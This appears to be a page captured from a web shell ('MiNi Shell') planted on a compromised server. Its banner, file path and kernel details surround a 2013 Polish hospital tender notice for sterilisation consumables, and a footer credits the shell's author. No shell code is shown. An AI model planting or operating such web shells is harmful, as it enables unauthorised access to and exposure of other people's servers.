Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20131216/
Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Current File : /home/vmanager/www/common/web/tenders/20131216/273319-N-2013.html
<p class="kh_header"><b>Wieluń: Zakup z dostawą   materiałów eksploatacyjnych dla centralnej sterylizatorni.SPZOZ - OiZP/3 /38/380-382 / 41 / 2013</b><br>
<b>Numer ogłoszenia: 273319 - 2013; data zamieszczenia: 16.12.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Samodzielny Publiczny Zakład Opieki Zdrowotnej w Wieluniu , ul. Szpitalna 16, 98-300 Wieluń, woj. łódzkie, tel. +48 43 840 68 00, faks 43 840 68 01.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.szpital.powiat.wielun.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Samodzielny publiczny zakład opieki zdrowotnej.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Zakup z dostawą   materiałów eksploatacyjnych dla centralnej sterylizatorni.SPZOZ - OiZP/3 /38/380-382 / 41 / 2013.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Lp.	PRZEDMIOT ZAMÓWIENIA
opis/parametry wymagalne
	j.m.	Ilość szac.	Cena jedn. 
bez Vat	Wartość
Netto	Kwota VAT	Wartość
Brutto
1.	Środek do wytwarzania piany aktywnej 
- do pianowego mycia wszelkich zmywalnych powierzchni, sprzętu medycznego
- opakowanie  5 litrów
	op.	3				
2.	Środek do dezynfekcji powierzchniowej 
- do dezynfekcji i mycia wszelkich zmywalnych powierzchni, sprzętu medycznego
- spektrum działania: bakterie, grzyby, Tbc
- opakowanie 5 litrów
	op.	5				
3.	Środek do myjni ultradźwiękowej firmy SMS UMD 642 
- do wstępnego mycia i wstępnej dezynfekcji termostabilnych i termolabilnych narzędzi chirurgicznych, włącznie z endoskopami elastycznymi i narzędziami dentystycznymi przed maszynową dekontaminacją, a także mokrego transportu narzędzi chirurgicznych oraz do zastosowania do myjni ultradźwiękowych. 
- płynny środek myjący z działaniem dezynfekcyjnym,
- nie powodujący utwardzania białek, 
- zalecany także do mokrego transportu i przechowywania narzędzi przez dłuższy okres czasu np. przez noc czy weekend. 
- działanie bakteriobójcze i grzybobójcze, prądkobójcze, działanie na wirusy osłonowe (włącznie z HIV,HBV,HCV) 
- narzędzia w roztworze mogą być pozostawione do 72 godzin. 
- pojemność opakowania 5l	op.	5				
4.	Środek do dezynfekcji stali kwasoodpornej 
- alkoholowy środek dezynfekcyjny. 
- bakteriobójczy, grzybobójczy, prądkobójczy i dezaktywujący wirusy osłonowe. 
-nie zawierający związków zapachowych i aldehydów.
- pojemność opakowania 0,75 l	op.	12				
5.	Środek do konserwacji stali kwasoodpornej 
- płynny środek do pielęgnacji powierzchni ze stali nierdzewnej na bazie niejonowych związków powierzchniowo czynnych , oleju parafinowego . 
-wolny od pestycydów i chlorowanych węglowodorów. 
- pojemność opakowania 0,75 l
	op.	8				
6.	Środek do mycia maszynowego I do myjni BHT INNOVA M5
- płynny, alkaliczny środek do mycia w myjniach dezynfektorach, 
- skutecznie usuwający pozostałości organiczne typu zaschnięta i denaturowana krew. 
- umożliwiający mycie maszynowe narzędzi i sprzętu medycznego także wykonanego z aluminium i tworzyw sztucznych.
- możliwość zastosowania w myjniach ultradźwiękowych. 
- Ph powyżej 10. 
- posiadający w swoim składzie : kwasy organiczne, alkalia (wodorotlenek potasu , enzymy, tenzydy ,środki konserwujące, inhibitor korozji). 
- pojemność opakowania 20l	op.	20				
7.	Środek do mycia maszynowego do myjni BHT INNOVA M5
- do neutralizacji pozostałości alkalicznych w procesie dekontaminacji maszynowej
- płynny kwaśny środek neutralizujący w procesie dekontaminacji maszynowej. 
- nie zawierający tenzydów, związków azotowych i fosforowych. 
- zawierający kwasy organiczne.
- pojemność opakowania 5l	op.	10				
8.	Środek do mycia maszynowego do myjni BHT INNOVA M5
  - płynny środek do dezynfekcji termiczno-chemicznej w myjniach dezynfektorach na bazie aldehydu glutarowego , glioksalu o działaniu B,Tbc, F, V  
- pojemność opakowania 5l	op.	15				
9.	Kwaśny  środek do gruntownego mycia narzędzi ze stali nierdzewnej
- płynny środek do zastosowana metodą zanurzeniową lub ultradźwiękową
- usuwa przebarwienia oraz naloty rdzy
- pojemność opakowania 1 l    	szt.	3				
10.	Taśma wskaźnikowa do sterylizacji parowej szerokość 19 mm
- nie odklejająca się podczas procesu sterylizacji w parze wodnej
	szt.	50				
11.	Testy symulacyjne Bowie - Dick (opakowanie zawierające 500 szt. testów)
- walidowane z przyrządem testowym procesu wg. PN EN 867-4/ i EN ISO 11140- 4 z rurką i kapsułą ze stali kwasoodpornej w obudowie z tworzywa sztucznego gke Steri-Record
- symulacja wsadów z narzędziami laparoskopowymi (narzędzia rurowe złożone), wsadów porowatych (bielizna operacyjna, opatrunki), narzędzi prostych
- 500 szt. testów paskowych z symetrycznie rozłożoną substancją testową, pokrytych polimerem	op.	2				
12.	Zintegrowane testy do kontroli wsadu w parze wodnej (opakowanie zawiera 500 szt. testów)
- walidowane z przyrządem testowym procesu wg PN EN 867-5/ EN  ISO 11140-1 z rurką i kapsułą ze stali kwasoodpornej w obudowie z tworzywa sztucznego gke Steri-Record
- symulacja wsadów z narzędziami laparoskopowymi (narzędzia rurowe złożone), wsadów porowatych (bielizna operacyjna, opatrunki), narzędzi prostych
- 500 szt. testów paskowych z symetrycznie rozłożoną substancją testową, pokrytych polimerem	op.	6				
13.	Zintegrowane testy do kontroli wsadu w formaldehydzie (zestaw zawiera 250 szt. testów)
- walidowane z przyrządem testowym procesu wg.PN EN 867-5/EN 867-5 i PN EN 14180/ EN 14180 z kapsułą z tworzywa sztucznego i teflonową rurką  (PCD) gke Steri-Record
- symulacja wsadów z narzędziami laparoskopowymi (narzędzia rurowe złożone), narzędzi prostych
- 250 szt. testów paskowych z symetrycznie rozłożoną substancją	op.	1				
14.	Etykiety dwukrotnie przylepne ze wskaźnikiem sterylizacji w parze wodnej (rolka  po 750 szt. etykiet)
- etykiety dwukrotnie przylepne ze wskaźnikiem sterylizacji parą wodną z miejscami informacyjnymi: w rzędzie pierwszym - numer operatora (1-2 symbole w tym cyfry lub litery i znaki interpunkcyjne), numer sterylizatora (1-3 symbole w tym cyfry i znaki interpunkcyjne), numer cyklu (2-3 symbole w tym cyfry i znaki interpunkcyjne), kod pakietu (2-4 symbole w tym cyfry lub litery i znaki interpunkcyjne), w rzędzie drugim - datę sterylizacji (8-12 symboli w tym cyfry i znaki interpunkcyjne) w rzędzie trzecim - datę ważności (8-12 symboli w tym cyfry i znaki interpunkcyjne). 
- dostępne w czterech kolorach
- kompatybilne z metkownicą trzyrzędową alfanumeryczną gke Steri-Record
- opakowanie 12 rolek po 750 etykiet i wałek z tuszem. 	op.	7				
15.	Etykiety dwukrotnie przylepne ze wskaźnikiem sterylizacji w formaldehydzie (rolka po 750 szt. etykiet)
- etykiety dwukrotnie przylepne ze wskaźnikiem sterylizacji w formaldehydzie z miejscami informacyjnymi: w rzędzie pierwszym - numer operatora (1-2 symbole w tym cyfry lub litery i znaki interpunkcyjne), numer sterylizatora (1-3 symbole w tym cyfry i znaki interpunkcyjne), numer cyklu (2-3 symbole w tym cyfry i znaki interpunkcyjne), kod pakietu (2-4 symbole w tym cyfry lub litery i znaki interpunkcyjne), w rzędzie drugim - datę sterylizacji (8-12 symboli w tym cyfry i znaki interpunkcyjne) w rzędzie trzecim - datę ważności (8-12 symboli w tym cyfry i znaki interpunkcyjne). 
- dostępne w czterech kolorach
- kompatybilne z metkownicą trzyrzędową alfanumeryczną gke Steri-Record
- opakowanie 12 rolek po 750 etykiet i wałek z tuszem. 	op.	2				
16.	Test biologiczny fiolkowy do pary wodnej odczyt końcowy po 24 godzinach (opakowanie 100 szt.)
- test biologiczny fiolkowy, zawierający spory Bacillus stearothermophilus 
- ostateczny odczyt po 24 godzinach inkubacji
- walidowany z przyrządem testowym wg PN EN 867-5/ EN 867-5 z rurką i kapsułą ze stali kwasoodpornej w obudowie z tworzywa sztucznego (PCD) gke Steri-Record	op.	3				
17.	Biologiczny wskaźnik kontroli procesu sterylizacji parowo-formaldehydowej
- inkubacja 5 dni w temp. 55-60oC
- test umieszczony w jednym specjalnym opakowaniu papierowym zabezpieczającym przed kontaminacją
- wskaźnik w postaci paska bibuły nasyconego zawiesiną spor typu Bacillus stearothermophilus ATCC 7953 ,który zawiera nie mniej niż 2,5 x 10^5 jednostek zdolnych do przejścia w formy wegetatywne, oraz Bacillus Atrophaeus ATCC 9372 ,który zawiera nie mniej niż 2,3 x 10^6 jednostek zdolnych do przejścia w formy wegetatywne 
- opakowanie 100 szt.	op.	1				

18.	 Test kontroli skuteczności mycia w myjni-dezynfektorze,
-substancja nietoksyczna i nie zawierająca produktów    krwiopodobnych naniesiona na obie strony wskaźnika  do stosowania  z metalowym uchwytem z systemu STF Brown
- opakowanie zawiera100 szt.              	
op.


	
4
				
19.	Test do kontroli procesów dezynfekcji termicznej w myjni dezynfektorze  (a 100 szt. testów)
- test chemiczny do kontroli procesu dezynfekcji termicznej w myjni-dezynfektorze, paskowy dla parametrów dezynfekcji termicznej 90oC, 5 min. 
- łatwa interpretacja wyniku, jednoznaczna zmiana koloru	op.	10				
20.	  Test biologiczny fiolkowy do formaldehydu odczyt końcowy po 24 godzinach (opakowanie 50 szt.)
- test biologiczny fiolkowy, zawierający spory Bacillus stearothermophilus 
- ostateczny odczyt po 24 godzinach inkubacji
- walidowany z przyrządem testowym wg PN EN 867-5/ EN 867-5 z rurką i kapsułą ze stali kwasoodpornej w obudowie z tworzywa sztucznego (PCD) gke Steri-Record
	op.	6				
21.	Test do kontroli poprawności zgrzewu w zgrzewarkach rolkowych
 (a 250 szt.)
- codzienny test do kontroli prawidłowości zgrzewania w zgrzewarkach rotacyjnych (rolkowych), zgrzewających opakowania papierowo-foliowe
- a 250 szt. testów w formie arkusza, do użycia z opakowaniami stosowanymi w szpitalu	op.	2				
22.	Papier krepowany 
niebieski, wymiary 100 x 100 cm
niebieski, wymiary 120 x 120 cm
biały, wymiary 100 x 100 cm
biały, wymiary 120 x 120 cm

- I generacja, 100% włókna celulozy
- do użytku jako zewnętrzne i/lub wewnętrzne opakowanie małych i średnich tac i/lub pakietów, okrycie stołu lub wózka narzędziowego oraz pakowania różnych innych wyrobów przeznaczonych do sterylizacji.
- gramatura 60 g/m2
- duża wytrzymałość na rozdarcie, przebicie, rozciąganie w stanie suchym i mokrym 
- bardzo dobra przepuszczalność czynników sterylizacyjnych (para wodna, tlenek etylenu, formaldehyd)
- wysoka odporność na przesiąkanie wody
- miękki, dobrze układający się i ułatwiający pakowanie
- wysoka bariera bakteriologiczna oraz możliwość długiego składowania materiałów w stanie sterylnym, wymagane oświadczenie producenta z potwierdzeniem przez niezależną jednostkę notyfikowaną o okresie przechowywania wyrobów w stanie sterylnym - min. 6 miesięcy
- zgodny z normą EN ISO 11607-1, EN 868-2 oraz spełniający wymagania Dyrektywy Wyrobów Medycznych MDD 93/42/EEC (klasa I) i posiadający znak CE	
szt.
szt.
szt.
szt.

	
3200
3000
3200
3000
				
23.	Papier typu Interleaved (kombinacja włókniny III generacji z włókniną SMS
Wymiary 100 x 100 cm
Wymiary 120 x 120 cm

- do użytku jako zewnętrzne i/lub wewnętrzne opakowanie dużych tac i bardzo ciężkich pakietów (doskonały do pakowania ciężkich tac i/lub pakietów ortopedycznych), okrycie stołu lub wózka narzędziowego, sterylne obłożenie operacyjne oraz pakowania różnych innych wyrobów przeznaczonych do sterylizacji
- kombinacja zielonej włókniny opakowaniowej o gramaturze 57 g/m2 (mieszanka włókien celulozy i włókien syntetycznych wzmocnionych syntetycznym spoiwem) oraz niebieskiej włókniny opakowaniowej o gramaturze 47 g/m2 (100% polipropylenu)
- super wysoka wytrzymałość na rozdarcie, przebicie, rozciąganie w stanie suchym i mokrym 
- bardzo dobra przepuszczalność czynników sterylizacyjnych (para wodna, tlenek etylenu, formaldehyd, a w przypadku włókniny opakowaniowej o gramaturze 47 g/m2 (100% polipropylenu) również dla nadtlenku wodoru - plazma)
- super wysoka odporność na przesiąkanie wody i alkoholi
- super miękki, dobrze układający się i ułatwiający pakowanie
- wysoka bariera bakteriologiczna oraz możliwość długiego składowania materiałów w stanie sterylnym, wymagane oświadczenie producenta z potwierdzeniem przez niezależną jednostkę notyfikowaną o okresie przechowywania wyrobów w stanie sterylnym - min. 6 miesięcy
- zgodny z normą EN ISO 11607-1, EN 868-2 oraz spełniający wymagania Dyrektywy Wyrobów Medycznych MDD 93/42/EEC (klasa I) i posiadający znak CE	

szt.
szt.	

1000
1000				
24.	Rękawy papierowo foliowe ze wskaźnikiem sterylizacji w parze wodnej i formaldehydzie

płaski, szer. 75 mm, długość 200 m
płaski, szer. 100 mm, długość 200 m
płaski, szer. 150 mm, długość 200 m
płaski, szer. 200 mm, długość 200 m
płaski, szer. 250 mm, długość 200 m
z fałdą, szer. 250 mm, długość 100 m
z fałdą, szer. 300 mm, długość 100 m
z fałdą, szer. 380 mm, długość 100 m

- gramatura papieru 70 g/m2
- folia minimum pięciowarstwowa, grubość folii maksimum 52 mikrony
- wskaźniki chemiczne procesu sterylizacji do pary wodnej, tlenku etylenu i formaldehydu oznaczenia nr serii, rozmiaru, nr katalogowego i wskaźniki umieszczone na papierze pod folią poza przestrzenią pakowania
- jednoznacznie oznaczony kierunek otwierania, oznaczenie CE umieszczone na opakowaniu zbiorczym, 
- wytrzymałe na rozdarcie, przebicie, rozciąganie w stanie suchym i mokrym, wytrzymałość zgrzewu minimum 4,2N/15mm
- wysoka bariera bakteriologiczna oraz możliwość długiego składowania materiałów w stanie sterylnym, wymagane oświadczenie producenta o okresie przechowywania wyrobów w stanie sterylnym - min. 6 miesięcy
- zgodne z normą EN ISO 11607-1, EN 868-3 i 5 oraz spełniające wymagania Dyrektywy Wyrobów Medycznych MDD 93/42/EEC (klasa I) i posiadające znak CE	


szt.
szt.
szt.
szt.
szt.
szt.
szt.
szt.
	


25
30
40
25
25
20
15
20				
25.	Taśma bez wskaźnika do sterylizacji parowej szerokość 19 mm
- nie odklejająca się podczas procesu sterylizacji w parze wodnej	szt.
	20				
26.	Wskaźniki kontrolujące obecność energii w myjni ultradźwiękowej
- kontrola energii ultradźwiękowej
- test dający natychmiastowy wynik, jednoznaczna zmiana koloru
-  30 szt.
	op.	1				
27.	Koperty systemu dokumentacji
- do zapisywania informacji i przechowywania dokumentów potwierdzających prawidłową pracę sterylizatora
- dwustronnie drukowane (1 koperta na dwa dni)
- a 100 szt.	op.	5				
28.	Preparat do konserwacji narzędzi chirurgicznych
- nie zawiera CFC (chlorofluorowęglowodorów)
- przepuszczalny dla pary wodnej
- w aerozolu
- op. 0,4 l	op.	10				
29.	Olej do końcówek roboczych silników chirurgicznych
- nie zawiera silikonu
- przepuszczalne dla pary wodnej 
- w aerozolu
- op. 300 ml 	op.	10				
30.	Papiery do drukarki termicznej -rolka
-szer. 110 mm	szt.	60				
31.	Markery do opisywania pakietów
- pisak odporny na warunki sterylizacji,
- kolor czarny	szt.
	10				
32.	Długie rękawiczki nitrylowe medyczne 
-odporne na przebicie i rozerwanie (EN 388) oraz wysoką odporność na środki chemiczne (EN 374)
 - możliwość oburęcznego noszenia
- opakowanie 100 szt.   	op.	80				
33.	Chlorek sodu w tabletkach 
- op. 25 kg	op.	25.</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 33.19.80.00-4, 39.80.00.00-0, 33.69.63.00-8, 33.63.16.00-8.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 33.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 12.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, iż Wykonawca spełnia warunek posiadania uprawnień do wykonywania działalności gospodarczej będącej przedmiotem każdego z zamówień po złożeniu przez Wykonawcę wraz z ofertą aktualnej, jeśli jest wymagana prawem, koncesji na obrót wyrobami medycznymi dopuszczonymi do obrotu; aktualnego odpisu z właściwego rejestru KRS lub Rejestru Centralnej Ewidencji i Informacji o Działalności Gospodarczej Rzeczypospolitej Polskiej wystawionych nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, iż Wykonawca spełnia warunek posiadania wiedzy i doświadczenia na podstawie oświadczenia złożonego przez Wykonawcę wraz z ofertą (Załącznik Nr 3 do SIWZ)</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, iż Wykonawca spełnia warunek dysponowania odpowiednim potencjałem technicznym na podstawie oświadczenia złożonego przez Wykonawcę wraz z ofertą (Załącznik Nr 3 do SIWZ)</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, iż Wykonawca spełnia warunek dysponowania osobami zdolnymi do wykonania zamówienia na podstawie oświadczenia złożonego przez Wykonawcę wraz z ofertą (Załącznik Nr 3 do SIWZ)</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, iż Wykonawca spełnia warunek odpowiedniej sytuacji ekonomicznej i finansowej niezbędnej do realizacji niniejszego zamówienia na podstawie oświadczenia złożonego przez Wykonawcę wraz z ofertą (Załącznik Nr 3 do SIWZ)</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">potwierdzenie posiadania uprawnień do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania, w szczególności koncesje, zezwolenia lub licencje;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">nie orzeczono wobec niego zakazu ubiegania się o zamówienie - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.3.2)</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">zaświadczenie właściwego organu sądowego lub administracyjnego miejsca zamieszkania albo zamieszkania osoby, której dokumenty dotyczą, w zakresie określonym w art. 24 ust. 1 pkt 4-8 - wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zmiany ceny jednostkowej towaru spowodowanej zmianą stawki podatku od towarów i usług VAT, przy czym cena jednostkowa netto pozostaje bez zmian.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.szpital.powiat.wielun.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> W Dziale OiZP pokój 204 - nieodpłatnie SPZOZ w Wieluniu, ul. Szpitalna 16, 98-300 Wieluń..</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 27.12.2013 godzina 10:00, miejsce: Samodzielny Publiczny Zakład Opieki Zdrowotnej w Wieluniu, ulica Szpitalna 16 , 98 - 300 Wieluń - SEKRETARIAT POKÓJ nr 216...</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
Creat By MiNi SheLL
Email: jattceo@gmail.com